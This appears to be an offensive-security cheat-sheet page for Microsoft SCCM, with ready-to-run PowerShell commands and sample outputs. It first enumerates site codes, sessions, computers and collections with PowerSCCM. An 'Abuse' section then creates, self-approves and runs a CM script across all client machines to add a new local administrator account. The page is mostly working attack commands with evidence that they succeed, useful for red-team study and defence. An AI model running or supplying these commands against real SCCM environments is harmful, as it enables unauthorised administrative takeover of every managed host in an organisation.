TLDRBins TLDRBins / SCCM


Usage Tips:

  • Click on a keyword to enable inline editing.
  • Click inside a code block to copy (excludes comments).
  • Use the button to view examples.
  • Click outside to collapse all examples.

Enum

1. Import Module

. .\PowerSCCM.ps1
Sample Output: PS C:\programdata> . .\PowerSCCM.ps1

Ref: PowerSCCM.ps1

2. Find SccmSiteCode

Find-SccmSiteCode -ComputerName <TARGET_COMPUTER>
Sample Output: PS C:\programdata> Find-SccmSiteCode -ComputerName sccm.example.local Find-SccmSiteCode -ComputerName sccm.example.local SiteCode -------- GH1

3. New SccmSession

New-SccmSession -ComputerName <TARGET_COMPUTER> -SiteCode <SITE_CODE> -ConnectionType wmi
Sample Output: PS C:\programdata> New-SccmSession -ComputerName SCCM -SiteCode GH1 -ConnectionType wmi New-SccmSession -ComputerName SCCM -SiteCode GH1 -ConnectionType wmi Id : 1 Name : GH11 ComputerName : SCCM Credential : SiteCode : GH1 ConnectionType : wmi SccmVersion : 5 Permissions : {ALL} Provider : \\SCCM\ROOT\sms:SMS_ProviderLocation.Machine="sccm.Example.local",SiteCode="GH1"

4. Check SccmSessions

Get-SCCMSession | Get-SCCMComputer
Sample Output: PS C:\programdata> Get-SCCMSession | Get-SCCMComputer Get-SCCMSession | Get-SCCMComputer Name : SRV002 FullDomainName : IPAddresses : {192.168.22.16} LastLogonUserDomain : LastLogonUserName : Name : SCCM FullDomainName : IPAddresses : {192.168.21.155} LastLogonUserDomain : LastLogonUserName :
Get-SCCMSession | Get-SCCMCollection
Sample Output: PS C:\programdata> Get-SCCMSession | Get-SCCMCollection Get-SCCMSession | Get-SCCMCollection __GENUS : 2 __CLASS : SMS_Collection __SUPERCLASS : SMS_BaseClass __DYNASTY : SMS_BaseClass __RELPATH : SMS_Collection.CollectionID="SMS00001" __PROPERTY_COUNT : 31 __DERIVATION : {SMS_BaseClass} __SERVER : SCCM __NAMESPACE : root\sms\site_GH1 __PATH : \\SCCM\root\sms\site_GH1:SMS_Collection.CollectionID="SMS00001" CollectionID : SMS00001 CollectionRules : CollectionType : 2 CollectionVariablesCount : 0 Comment : All Systems CurrentStatus : 1 HasProvisionedMember : True IncludeExcludeCollectionsCount : 0 IsBuiltIn : True IsReferenceCollection : True ISVData : ISVDataSize : 0 ISVString : LastChangeTime : 20200106084829.590000+*** LastMemberChangeTime : 20241123103441.073000+*** LastRefreshTime : 20241123120046.397000+*** LimitToCollectionID : LimitToCollectionName : LocalMemberCount : 4 MemberClassName : SMS_CM_RES_COLL_SMS00001 MemberCount : 4 MonitoringFlags : 0 Name : All Systems ObjectPath : / OwnedByThisSite : True PowerConfigsCount : 0 RefreshSchedule : RefreshType : 6 ReplicateToSubSites : True ServiceWindowsCount : 0 UseCluster : PSComputerName : SCCM ...[SNIP]...


Abuse #1: Add Custom Script

1. Import Module

cd 'C:\Program Files (x86)\Microsoft Configuration Manager\AdminConsole\bin'
Sample Output: TO-DO
Import-Module .\ConfigurationManager.psd1
Sample Output: TO-DO

2. Check

Get-CMsite
Sample Output: PS GH1:\> Get-CMsite Get-CMsite SmsProviderObjectPath : SMS_Site.SiteCode="GH1" BuildNumber : 8790 ContentLibraryLocation : ContentLibraryMoveProgress : 100 ContentLibraryStatus : 3 Features : 0000000000000000000000000000000000000000000000000000000000000000 InstallDir : C:\Program Files\Microsoft Configuration Manager Mode : 0 ReportingSiteCode : RequestedStatus : 110 SecondarySiteCMUpdateStatus : 2 ServerName : sccm.Example.local SiteCode : GH1 SiteName : Example Status : 1 TimeZoneInfo : 000001E0 0000 000B 0000 0001 0002 0000 0000 0000 00000000 0000 0003 0000 0002 0002 0000 0000 0000 FFFFFFC4 Type : 2 Version : 5.00.8790.1000
Get-CMManagementPoint
Sample Output: PS GH1:\> Get-CMManagementPoint Get-CMManagementPoint SmsProviderObjectPath : SMS_SCI_SysResUse.FileType=2,ItemName="[\"Display=\\\\sccm.Example.local\\\"]MSWNET:[\" SMS_SITE=GH1\"]\\\\sccm.Example.local\\,SMS Management Point",ItemType="System Resource Usage",SiteCode="GH1" FileType : 2 ItemName : ["Display=\\sccm.Example.local\"]MSWNET:["SMS_SITE=GH1"]\\sccm.Example.local\,S MS Management Point ItemType : System Resource Usage NALPath : ["Display=\\sccm.Example.local\"]MSWNET:["SMS_SITE=GH1"]\\sccm.Example.local\ NALType : Windows NT Server NetworkOSPath : \\sccm.Example.local PropLists : {Objects Polled By Site Status} Props : {Authentication type, ClientShare, DatabaseName, MPDefault...} RoleCount : 8 RoleName : SMS Management Point ServerState : 196611 ServiceWindows : SiteCode : GH1 SiteSystemStatus : 1 SslState : 0 Type : 2
Get-CMActiveDirectoryForest
Sample Output: PS GH1:\> Get-CMActiveDirectoryForest Get-CMActiveDirectoryForest SmsProviderObjectPath : SMS_ADForest.ForestID=16777217 Account : CreatedBy : Example\Administrator CreatedOn : 1/6/2020 5:23:56 PM Description : Example.local DiscoveredADSites : 0 DiscoveredDomains : 0 DiscoveredIPSubnets : 0 DiscoveredTrusts : 0 DiscoveryStatus : EnableDiscovery : True ForestFQDN : Example.local ForestID : 16777217 ModifiedBy : Example\Administrator ModifiedOn : 1/6/2020 5:23:56 PM PublishingPath : PublishingStatus : 1

2. Add New User to Administrators Group

cd <SITE_CODE>:
Sample Output: cd GH1: PS GH1:\>
New-CMScript -ScriptName test -Fast -ScriptText "net user <USER> <PASSWORD> /add; net localgroup Administrators <USER> /add"; Get-CMScript -Fast -ScriptName test | Approve-CMScript; Get-CMScript -Fast -ScriptName test | Invoke-CMScript -CollectionName 'All Desktop and Server Clients'
Sample Output: PS GH1:\> New-CMScript -ScriptName test -Fast -ScriptText "net user test_user Test1234 /add; net localgroup Administrators test_user /add"; Get-CMScript -Fast -ScriptName test | Approve-CMScript; Get-CMScript -Fast -ScriptName test | Invoke-CMScript -CollectionName 'All Desktop and Server Clients' New-CMScript -ScriptName test -Fast -ScriptText "net user test_user Test1234 /add; net localgroup Administrators test_user /add"; Get-CMScript -Fast -ScriptName test | Approve-CMScript; Get-CMScript -Fast -ScriptName test | Invoke-CMScript -CollectionName 'All Desktop and Server Clients' SmsProviderObjectPath : SMS_Scripts.ScriptGuid="AAA8C83C-3DE4-4BD5-96B2-55F801139763" ApprovalState : 0 Approver : Author : NT AUTHORITY\SYSTEM Comment : Feature : 0 LastUpdateTime : 11/23/2024 5:58:16 AM ParameterGroupHash : Parameterlist : ParameterlistXML : ParamsDefinition : Script : ScriptGuid : AAA8C83C-3DE4-4BD5-96B2-55F801139763 ScriptHash : 6F6994FCAEDE9916FF682A0D7BB70A17F9DFC99CD3223704D4E650860640F5D8 ScriptHashAlgorithm : SHA256 ScriptName : test ScriptType : 0 ScriptVersion : 1